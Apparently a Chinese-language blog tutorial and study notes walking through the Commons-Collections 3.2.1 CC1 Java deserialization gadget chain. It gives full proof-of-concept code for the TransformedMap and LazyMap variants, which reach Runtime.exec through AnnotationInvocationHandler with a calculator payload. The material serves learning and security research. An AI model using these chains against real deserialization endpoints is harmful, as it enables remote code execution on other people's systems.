复习一遍之前学过的,由于太过久远导致基本全部忘记了,还有就是当时的笔记记得太过于潦草导致根本没法复习。
这次重新跟一遍cc1链。
环境搭建 具体搭建可以参考bilibili的白日梦组长。
就是将下载jdk 8u71以下的版本,然后在下载对应的openjdk将里面的sun包复制过来,然后注意Commons-Collections的版本为3.2.1。
函数介绍 Transformer是一个接口,只有一个带实现的方法; TransformedMap在转换Map的新元素时,就会调⽤transform⽅法,这个过程就类似在调⽤⼀个“回调 函数”,这个回调的参数是原始对象。
1 2 3 public interface Transformer { public Object transform (Object input) ; }
InvokerTransformer是实现了Transformer、Serializable接⼝的⼀个类,这个类可以⽤来执⾏任意⽅法,这也是反序 列化能执⾏任意代码的关键;
在实例化这个InvokerTransformer时,需要传⼊三个参数:
第⼀个参数是待执⾏的⽅法名
第⼆个参数是这个函数的参数列表的参数类型
第三个参数是传给这个函数的参数列表
后面transform方法,通过反射调用执行了input对象的iMethodName方法。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 public InvokerTransformer (String methodName, Class[] paramTypes, Object[] args) { super (); iMethodName = methodName; iParamTypes = paramTypes; iArgs = args; } public Object transform (Object input) { if (input == null ) { return null ; } try { Class cls = input.getClass(); Method method = cls.getMethod(iMethodName, iParamTypes); return method.invoke(input, iArgs); } catch (NoSuchMethodException ex) { throw new FunctorException ("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' does not exist" ); } catch (IllegalAccessException ex) { throw new FunctorException ("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' cannot be accessed" ); } catch (InvocationTargetException ex) { throw new FunctorException ("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' threw an exception" , ex); }
ChainedTransformer是实现了Transformer、Serializable接⼝的⼀个类,它的作⽤是将内部的多个Transformer串在⼀起,将前一个回调返回的结果作为后一个的参数传入。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 public ChainedTransformer (Transformer[] transformers) { super (); iTransformers = transformers; } public Object transform (Object object) { for (int i = 0 ; i < iTransformers.length; i++) { object = iTransformers[i].transform(object); } return object; }
ConstantTransformer是实现了Transformer、Serializable接口的一个类,它的过程就是在构造函数的时候传入一个对象,并在transform方法将这个对象再返回;
作用就是包装任意一个对象,在执行回调时返回这个对象,进而方便后续操作。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 public ConstantTransformer (Object constantToReturn) { super (); iConstant = constantToReturn; } public Object transform (Object input) { return iConstant; }
Transfomed TransformedMap⽤于对Java标准数据结构Map做⼀个修饰,被修饰过的Map在添加新的元素时,将可以执⾏⼀个回调。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 public class TransformedMap extends AbstractInputCheckedMapDecorator implements Serializable { ...... public static Map decorate (Map map, Transformer keyTransformer, Transformer valueTransformer) { return new TransformedMap (map, keyTransformer, valueTransformer); } protected TransformedMap (Map map, Transformer keyTransformer, Transformer valueTransformer) { super (map); this .keyTransformer = keyTransformer; this .valueTransformer = valueTransformer; } ...... public Object put (Object key, Object value) { key = transformKey(key); value = transformValue(value); return getMap().put(key, value); } public void putAll (Map mapToCopy) { mapToCopy = transformMap(mapToCopy); getMap().putAll(mapToCopy); }
调用链过程 先来看一下Transfomed的poc
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 package cc1; import org.apache.commons.collections.Transformer;import org.apache.commons.collections.functors.ChainedTransformer;import org.apache.commons.collections.functors.ConstantTransformer;import org.apache.commons.collections.functors.InvokerTransformer;import org.apache.commons.collections.map.TransformedMap; import java.io.*;import java.lang.annotation.Target;import java.lang.reflect.Constructor;import java.lang.reflect.Method;import java.util.HashMap;import java.util.Map; public class demo01 { public static void main (String[] args) throws Exception { Transformer[] transformers = new Transformer []{ new ConstantTransformer (Runtime.class), new InvokerTransformer ("getMethod" , new Class []{String.class, Class[].class}, new Object []{"getRuntime" , null }), new InvokerTransformer ("invoke" ,new Class []{Object.class,Object[].class},new Object []{null ,null }), new InvokerTransformer ("exec" , new Class []{String.class}, new Object []{"calc" }) }; ChainedTransformer chainedTransformer = new ChainedTransformer (transformers); HashMap<Object, Object> map = new HashMap <>(); map.put("value" ,"value" ); Map<Object,Object> transformedMap = TransformedMap.decorate(map, null , chainedTransformer); Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler" ); Constructor annotationInvocationHandlerConstructor = c.getDeclaredConstructor(Class.class, Map.class); annotationInvocationHandlerConstructor.setAccessible(true ); Object o = annotationInvocationHandlerConstructor.newInstance(Target.class, transformedMap); serialize(o); unserialize("ser.bin" ); } public static void serialize (Object obj) throws Exception { ObjectOutputStream oos = new ObjectOutputStream (new FileOutputStream ("ser.bin" )); oos.writeObject(obj); } public static Object unserialize (String Filename) throws Exception { ObjectInputStream ois = new ObjectInputStream (new FileInputStream (Filename)); Object obj = ois.readObject(); return obj; } }
其实通过上面的函数介绍可以知道invokerTransformer中的transform方法就是一个可以调用任意类中的方法的一个函数,所以它在这里算是我们反序列化最终执行的点来进行恶意操作。那么下面我们就需要找到一个谁调用了这个transform方法,我们可以在序列化的时候将调用这个方法的对象给改成invokerTransformer对象
所以第一步我们找到了一个调用该方法的函数是TransformedMap中的CheckSetValue方法
通过对该类的构造方法的分析可以看到我们可以传入三个参数具体如下代码所示
1 2 3 4 5 6 7 8 9 10 11 12 13 protected TransformedMap (Map map, Transformer keyTransformer, Transformer valueTransformer) { super (map); this .keyTransformer = keyTransformer; this .valueTransformer = valueTransformer; } protected Object checkSetValue (Object value) { return valueTransformer.transform(value); }
所以我们可以在传入valueTransformer这个参数时让其为invokerTransformer对象,但是由于该类是protected的类型所以不能直接实例化,但是我们发现该类中有一个静态方法 decorate()
1 2 3 public static Map decorate (Map map, Transformer keyTransformer, Transformer valueTransformer) { return new TransformedMap (map, keyTransformer, valueTransformer); }
所以可以直接调用该方法,将invokerTransformer对象注入进去。此时CheckSetValue中的valueTransformer就可以被我们改为invokerTransformer对象。那么接下来就需要找到一个可以触发CheckSetValue的方法。通过调试可以找到一个MapEntry类中的setValue方法调用了该方法
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 static class MapEntry extends AbstractMapEntryDecorator { private final AbstractInputCheckedMapDecorator parent; protected MapEntry (Map.Entry entry, AbstractInputCheckedMapDecorator parent) { super (entry); this .parent = parent; } public Object setValue (Object value) { value = parent.checkSetValue(value); return entry.setValue(value); } }
在MapEntry方法中,Entry代表的是Map中的一个键值对,而我们在Map中我们可以看到有setValue方法,而我们在对Map进行遍历的时候可以调用setValue这个方法。简单来说就是通过通过对setValue()方法的调用来触发checkSetValue()方法 MapEntry的父类AbstractMapEntryDecorator又引入了Map.Entry接口,所以我们只需要进行常用的Map遍历,就可以调用setValue(),,然后水到渠成的调checkSetValue()
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 Runtime runtime = Runtime.getRuntime(); InvokerTransformer invokerTransformer = new InvokerTransformer ( "exec" , new Class []{String.class}, new Object []{"calc" }); HashMap<Object,Object> map=new HashMap <>(); map.put("key" ,"value" ); Map<Object, Object> transformedMap = TransformedMap.decorate( map, null , invokerTransformer); for (Map.Entry entry:transformedMap.entrySet()) { entry.setValue(runtime); }
梳理一遍过程:
首先,我们找到了TransformedMap这个类,我们想要调用其中的checkSetValue方法,但是这个类的构造器是peotected权限,只能类中访问,所以我们调用decorate方法来实例化这个类,
在此之前我们先实例化了一个HashMap,并且调用了put方法给他赋了一个键值对(这里是为了让我们再后边的遍历中调用setValue()提供前置条件),然后把这个map当成参数传入,实例化成了一个transformedmap对象,这个对象也是Map类型的,
然后我们对这个对象进行遍历,在遍历过程中我们可以调用setValue方法,而恰好又遇到了一个重写了setValue的父类,这个重写的方法刚好调用了checkSetValue方法,这样就形成了一个闭环
下面就是找到一个readObject中调用了setValue这个方法:找到了AnnotationInvocationHandler这个类中的readObject调用了该方法如下代码所示:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 private void readObject (java.io.ObjectInputStream s) throws java.io.IOException, ClassNotFoundException { s.defaultReadObject(); AnnotationType annotationType = null ; try { annotationType = AnnotationType.getInstance(type); } catch (IllegalArgumentException e) { throw new java .io.InvalidObjectException("Non-annotation type in annotation serial stream" ); } Map<String, Class<?>> memberTypes = annotationType.memberTypes(); for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) { String name = memberValue.getKey(); Class<?> memberType = memberTypes.get(name); if (memberType != null ) { Object value = memberValue.getValue(); if (!(memberType.isInstance(value) || value instanceof ExceptionProxy)) { memberValue.setValue( new AnnotationTypeMismatchExceptionProxy ( value.getClass() + "[" + value + "]" ).setMember( annotationType.members().get(name))); } } }
可以找到该类的构造方法
1 2 3 4 5 6 7 8 9 AnnotationInvocationHandler(Class<? extends Annotation > type, Map<String, Object> memberValues) { Class<?>[] superInterfaces = type.getInterfaces(); if (!type.isAnnotation() || superInterfaces.length != 1 || superInterfaces[0 ] != java.lang.annotation.Annotation.class) throw new AnnotationFormatError ("Attempt to create proxy for a non-annotation type." ); this .type = type; this .memberValues = memberValues; }
可以看到memberValue是可控的是可以由构造方法直接传入的。所以接下来我们可以着手构造一下该链,但是在写的时候由于该类是java的内部类所以需要反射来调用如下代码所示:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 public static void serialize (Object object) throws Exception{ ObjectOutputStream oos=new ObjectOutputStream (new FileOutputStream ("ser.bin" )); oos.writeObject(object); } public static void unserialize (String filename) throws Exception{ ObjectInputStream objectInputStream=new ObjectInputStream (new FileInputStream (filename)); objectInputStream.readObject(); } public static void main (String[] args) throws Exception { Runtime runtime = Runtime.getRuntime(); InvokerTransformer invokerTransformer = new InvokerTransformer ( "exec" , new Class []{String.class}, new Object []{"calc" }); HashMap<Object,Object> map=new HashMap <>(); map.put("value" ,"value" ); Map<Object, Object> transformedMap = TransformedMap.decorate( map, null , invokerTransformer); Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler" ); Constructor constructor = c.getDeclaredConstructor(Class.class, Map.class); constructor.setAccessible(true ); Object o = constructor.newInstance(Target.class, transformedMap); unserialize("ser.bin" ); }
反序列化时运行报错这是为什么:
问题1:
https://xz.aliyun.com/t/7031?time__1311=n4%2BxnD0GDti%3DLxQTq05%2BbDyCbdbd4YvjPx&alichlgref=https%3A%2F%2Fxz.aliyun.com%2Ft%2F12715%3Ftime__1311%3DmqmhDvOD7GkD8Dl6%252BG78cyuxfhDIgD0I5x%26alichlgref%3Dhttps%253A%252F%252Fwww.google.com%252F#toc-7
通过查看Runtime类发现没有实现serializable是不可序列化的所以需要通过反射来进行构造
1 2 3 4 5 Class rc=Class.forName("java.lang.Runtime" ); Method getRuntime= rc.getDeclaredMethod("getRuntime" ,null ); Runtime r=(Runtime) getRuntime.invoke(null ,null ); Method exec=rc.getDeclaredMethod("exec" , String.class); exec.invoke(r,"calc" );
我们需要将其改造成InvokerTransformer的形式
1 2 3 4 5 6 7 8 9 10 11 12 13 Method getRuntime = (Method) new InvokerTransformer ( "getDeclaredMethod" , new Class []{String.class, Class[].class}, new Object []{"getRuntime" , null }).transform(Runtime.class); Runtime runtime = (Runtime) new InvokerTransformer ( "invoke" , new Class []{Object.class, Object[].class}, new Object []{null , null }).transform(getRuntime); new InvokerTransformer ("exec" , new Class []{String.class}, new Object []{"calc" }).transform(runtime);
在这里解释下为什么需要获取getMethod方法而不是直接获取getRuntime,因为我们传入的是Runtime.class对象在InvokerTransformer类中的transform方法会在获取其class,所以就变成java.lang.class对象了,这个类是不存在getRuntime方法的所以需要先反射获取getMethod方法,在通过invoke传入的Runtime.class对象,获得其getruntime方法因为此时获取的method对象所以还需要在反射调用invoke来将getruntime的实例获取出。此处具体参考https://xz.aliyun.com/t/7031?time__1311=n4%2BxnD0GDti%3DLxQTq05%2BbDyCbdbd4YvjPx&alichlgref=https%3A%2F%2Fxz.aliyun.com%2Ft%2F12715%3Ftime__1311%3DmqmhDvOD7GkD8Dl6%252BG78cyuxfhDIgD0I5x%26alichlgref%3Dhttps%253A%252F%252Fwww.google.com%252F#toc-7
既然我们没法在客户端序列化写入Runtime的实例,那就让服务端执行我们的命令生成一个Runtime实例呗? 我们知道Runtime的实例是通过Runtime.getRuntime()来获取的,而InvokerTransformer里面的反射机制可以执行任意函数。 同时,我们已经成功执行过Runtime类里面的exec函数。讲道理肯定是没问题的.
我们先看getRuntiime方法的参数
1 2 3 public static Runtime getRuntime () { return currentRuntime; }
没有参数,那就非常简单了
1 2 3 4 5 6 7 8 9 10 Transformer[] transformers = new Transformer [] { new ConstantTransformer (Runtime.class), new InvokerTransformer ("getRuntime" ,new Class []{},new Object []{}), new InvokerTransformer ("exec" , new Class [] {String.class }, new Object [] {"calc.exe" }) }; Transformer transformerChain = new ChainedTransformer (transformers);transformerChain.transform(null );
在这里,之前自己陷入了一个很傻逼的问题,即:InvokerTransformer类transform方法中return method.invoke()这个语句 invoke()调用到底return了啥? 因为在这里形成了一个调用return的结果,再调用的链。为什么就可以上一个输出作为下一个输入时,可以成功调用了呢? 一开始以为invoke会统一返回一个对象作为下一个输入什么的,并且在调试的时候每次invoke的结果都不一样,源码看的头晕。 实际上是钻了死胡同:invoke的return是根据被调用的函数return啥,invoke就return啥。 就好比我invoke一个我自定义的方法a,在a中,我return了字符串”1”。那么就是invoke的结果就是字符串”1”。 看以上的过程就是第一次Runtime.getRuntime()的结果输入了下一个InvokerTransformer
以上感觉是万事大吉了!但是实际上并不是…
回想之前对于InvokerTransformer中Class cls = input.getClass();的解释
这里我们需要注意到input.getClass()这个方法使用上的一些区别:
当input是一个类的实例对象时,获取到的是这个类
当input是一个类时,获取到的是java.lang.Class
我们来推演第一次InvokerTransformer的反射调用,即得到Runtime类对象的getRuntime方法调用:
1 2 3 4 5 6 7 public Object transform (Object input) {Class cls = input.getClass();Method method = cls.getMethod(this .iMethodName, this .iParamTypes);return method.invoke(input, this .iArgs);}
那么我们好像陷入了一个死胡同: 得到Runtime类实例才能调用exec方法。 而得到Runtime类实例作为input,才能得到Runtime class,才能找到getRuntime方法,得到Runtime类实例………
第二点九步 还是反射机制
那么我们通过直接调用Runtime.getRuntime方法好像是行不通了,有没有其他方法呢?
还是反射机制
已知:
我们开头不能获得Class.forName(“java.lang.Runtime”),只能得到Class.forName(“java.lang.Class”)
我们可以有任意的反射机制 求:
我们要获取到Runtime.getRunime函数,并执行它。 解:
通过反射机制获取反射机制中的getMethod类,由于getMethod类是存在Class类中,就符合开头Class类的限制
通过getMethod函数获取Runtime类中的getRuntime函数
在哪个类中调用getMethod去获取方法,实际上是由invoke函数里面的的第一个参数obj决定的
再通过反射机制获取反射机制中的invoke类,执行上面获取的getRuntime函数
invoke调用getRuntime函数,获取Runtime类的实例
这里在使用反射机制调用getRuntime静态类时,invoke里面第一个参数obj其实可以任意改为null,或者其他类,而不一定要是Runtime类
具体变化细节,我选择把它放在反射机制一文中说明,这边给出结果。
我们的最终目的是执行 Class.forName(“java.lang.Runtime”).getMethod(“getRuntime”).invoke(Class.forName(“java.lang.Runtime”)
先来获取getRuntime类
1 2 3 4 5 6 Class.forName("java.lang.Runtime" ).getMethod("getRuntime" ) Class.forName("java.lang.Class" ).getMethod("getMethod" , new Class [] {String.class, Class[].class }) .invoke(Class.forName("java.lang.Runtime" ),"getRuntime" ,new Class [0 ]);
对照着InvokerTransformer类转变为transformers格式
1 2 3 Class cls = input.getClass();Method method = cls.getMethod(this .iMethodName, this .iParamTypes); return method.invoke(input, this .iArgs);
1 2 3 4 5 6 Transformer[] transformers = new Transformer [] { new ConstantTransformer (Runtime.class), new InvokerTransformer ("getMethod" , new Class [] {String.class, Class[].class }, new Object [] {"getRuntime" , new Class [0 ] }), new InvokerTransformer ("exec" , new Class [] {String.class }, new Object [] {"calc.exe" }) };
还差执行获取到的getRuntime,下一个input是上一个执行接口,继续对照
1 2 3 4 Class cls = input.getClass();Method method = cls.getMethod(this .iMethodName, this .iParamTypes); return method.invoke(input, this .iArgs);
以上最后一步有点复杂,method就是invoke方法,相当于使用invoke调用了invoke函数。 首先this.iMethodName, this.iParamTypes是根据invoke接口而定的:
1 2 3 4 public Object invoke (Object obj, Object... args)
按照invoke中的input才是它要调用的环境的准则。 invoke方法.invoke(input, this.iArgs)实际上等于input.invoke(this.iArgs), 而input=getRuntime方法,那么只要填入this.iArgs就好了
又由于getRuntime是个静态函数,不用太纠结输入obj,写作null。getRuntime方法不需要参数。 this.iArgs=null,new Object[0]
那么整合就如下:
1 2 3 4 5 6 Transformer[] transformers = new Transformer [] { new ConstantTransformer (Runtime.class), new InvokerTransformer ("getMethod" , new Class [] {String.class, Class[].class }, new Object [] {"getRuntime" , new Class [0 ] }), new InvokerTransformer ("invoke" , new Class [] {Object.class, Object[].class }, new Object [] {null , new Object [0 ] }), new InvokerTransformer ("exec" , new Class [] {String.class }, new Object [] {"calc.exe" }) };
以上代码其实就是等同于 ((Runtime)Runtime.class.getMethod(“getMethod”,null).invoke(null,null)).exec(“calc.exe”);
将修改后的代码重新运行看看
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 public static void main (String[] args) throws Exception { Transformer[] transformers = new Transformer [] { new ConstantTransformer (Runtime.class), new InvokerTransformer ("getMethod" , new Class [] {String.class, Class[].class }, new Object [] {"getRuntime" , new Class [0 ] }), new InvokerTransformer ("invoke" , new Class [] {Object.class, Object[].class }, new Object [] {null , new Object [0 ] }), new InvokerTransformer ("exec" , new Class [] {String.class }, new Object [] {"calc.exe" }) }; ChainedTransformer chainedTransformer = new ChainedTransformer (transformers); HashMap<Object,Object> map=new HashMap <>(); map.put("key" ,"value" ); Map<Object, Object> transformedMap = TransformedMap.decorate( map, null , chainedTransformer); Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler" ); Constructor constructor = c.getDeclaredConstructor(Class.class, Map.class); constructor.setAccessible(true ); Object o = constructor.newInstance(Target.class, transformedMap); unserialize("ser.bin" );
发现还是不能运行我们动态调试看看
发现在这里为空所以不能进入if条件,也就无法调用setValue方法
在这里我们发现他回去获取我们传入的注解类型并且获取注解里面方法的名字,然后通过判断我们传入的名字是否与注解里的名字是否一致,一致则不为空否则为空就不进入if条件。所以这里我们子啊put时将键的值改成注解类型里面的方法名即可:
可以看到Target的方法名时value所以改成value就可以了
这样就可以执行了
参考:https://xz.aliyun.com/
https://www.bilibili.com/video/BV1no4y1U7E1/?spm_id_from=333.337.search-card.all.click&vd_source=82398f68c82cb90e0d9aa4fea90e36a0
https://blog.csdn.net/weixin_49047967/article/details/134763883
LazyMap LazyMap和TransformedMap类似,都来自于Common-Collections库,并继承了
AbstractMapDecorator。
TransformedMap的漏洞触发点:是在利用put方法写入元素的时候触发了transform方法从而触发了我们构造的恶意利用链
LazyMap触发点与TransformedMap有点差别我们还是向以前通过查找transfrom的调用方法来看看:
发现LazyMap的get方法中factory对象调用了transform方法所以只要我们能够将factory的对象设为invokertransformer对象,当map.containskey(key) == false,就会调用factory.transform。就可以进行rce
所以查看一下LazyMap的构造方法
1 2 3 4 5 6 7 protected LazyMap (Map map, Factory factory) { super (map); if (factory == null ) { throw new IllegalArgumentException ("Factory must not be null" ); } this .factory = FactoryTransformer.getInstance(factory); }
发现是factory对象是可控的,不过这里是protected类型所以不能直接实例化,但是LazyMap中也有一个静态方法decorate可以实例化
1 2 3 public static Map decorate (Map map, Transformer factory) { return new LazyMap (map, factory); }
在TransformedMap利用链完善这篇文章中我们有分析AnnotationInvocationHandler,在其readObject方法中通过调用setValue添加元素来触发transform。但是在readObject方法中没有直接调用到Map的get方法。不过ysoserial的作者找到了在该类的invoke方法中调用了get方法
但是反序列化的时候应该如何触发该方法呢,我们想到了java的动态代理,这里参考Java安全漫谈 - 11.反序列化篇(5).pdf Java安全漫谈 - 10.用TransformedMap编写真正的POC.pdf
https://mp.weixin.qq.com/s/doU_WAxgCHpApPpogngVtg 、p牛的文章解释为什么可以在反序列化的时候可以调用invoke方法
Java对象代理 作为一门静态语言,如果想劫持一个对象内部的方法调用,实现类似PHP的魔术方法 __call ,我们需 要用到 java.reflect.Proxy :
1 2 Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), new Class [] {Map.class}, handler);
Proxy.newProxyInstance 的第一个参数是ClassLoader,我们用默认的即可;第二个参数是我们需要 代理的对象集合;第三个参数是一个实现了InvocationHandler接口的对象,里面包含了具体代理的逻 辑。 比如,我们写这样一个类ExampleInvocationHandler:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 package vulhub;import java.lang.reflect.InvocationHandler;import java.lang.reflect.Method;import java.util.Map;public class ExampleInvocationHandler implements InvocationHandler { protected Map map; public ExampleInvocationHandler (Map map) { this .map = map; } @Override public Object invoke (Object proxy, Method method, Object[] args) throws Throwable { if (method.getName().compareTo("get" ) == 0 ){ System.out.println("Hook method: " + method.getName()); return "hacked Object" ; } return method.invoke(this .map,args); } } package vulhub;import java.lang.reflect.InvocationHandler;import java.lang.reflect.Proxy;import java.util.HashMap;import java.util.Map;public class ExampleTest { public static void main (String[] args) { InvocationHandler handler = new ExampleInvocationHandler (new HashMap ()); Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), new Class [] {Map.class}, handler); proxyMap.put("test" ,"xxx" ); String result = (String)proxyMap.get("test" ); System.out.println(result); } }
看执行结果,我们能发现我们明明传进Map是test值为xxx,但是我们获取到的结果却是hacked Object。
这里用自己的话解释这个动态代理的应用原理,就是说我们使用这个Proxy.newProxyInstance这个类去代理一个对象时,这个对象调用任意方法都会触发我们传入的InvocationHandler对象的invoke方法。
AnnotationInvocationHandler,这个类实际就是一个InvocationHandler,将这个对象用Proxy进行代理,那么在readObject的时候,只要调用任意的方法。就会自动调用到 AnnotationInvocationHandler#invoke 方法,进而触发我们的LazyMap#get。我们可以调试看看
在这里发现membervalues调用entyset方法时调用了invoke方法。
所以我们可以构造出LazyMap的利用链
首先使用LazyMap替换TransformedMap。
1 Map outerMap = LazyMap.decorate(innerMap, transformerChain);
然后通过反射获取
sun.reflect.annotation.AnnotationInvocationHandler
这个内部类,然后进行对其进行Proxy。
1 2 3 4 5 Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler" );Constructor construct = clazz.getDeclaredConstructor(Class.class, Map.class);construct.setAccessible(true ); InvocationHandler handler = (InvocationHandler) construct.newInstance(Retention.class, outerMap);Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), new Class [] {Map.class}, handler);
代理后的对象叫做proxyMap,但我们不能直接对其进行序列化,因为我们入口点是:
sun.reflect.annotation.AnnotationInvocationHandler#readObject,
所以我们还需要再用AnnotationInvocationHandler对这个proxyMap进行包裹:
1 handler = (InvocationHandler) construct.newInstance(Retention.class, proxyMap);
完整的poc
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 Transformer[] transformers = new Transformer [] { new ConstantTransformer (Runtime.class), new InvokerTransformer ("getMethod" , new Class [] {String.class, Class[].class }, new Object [] {"getRuntime" , new Class [0 ] }), new InvokerTransformer ("invoke" , new Class [] {Object.class, Object[].class }, new Object [] {null , new Object [0 ] }), new InvokerTransformer ("exec" , new Class [] {String.class }, new Object [] {"calc.exe" }) }; ChainedTransformer chainedTransformer = new ChainedTransformer (transformers); Map innerMap = new HashMap (); Map outerMap = LazyMap.decorate(innerMap, chainedTransformer); Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler" ); Constructor construct = clazz.getDeclaredConstructor(Class.class, Map.class); construct.setAccessible(true ); InvocationHandler handler = (InvocationHandler) construct.newInstance(Retention.class, outerMap); Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), new Class [] {Map.class}, handler); handler = (InvocationHandler)construct.newInstance(Retention.class, proxyMap);
cc1 LazyMap调用链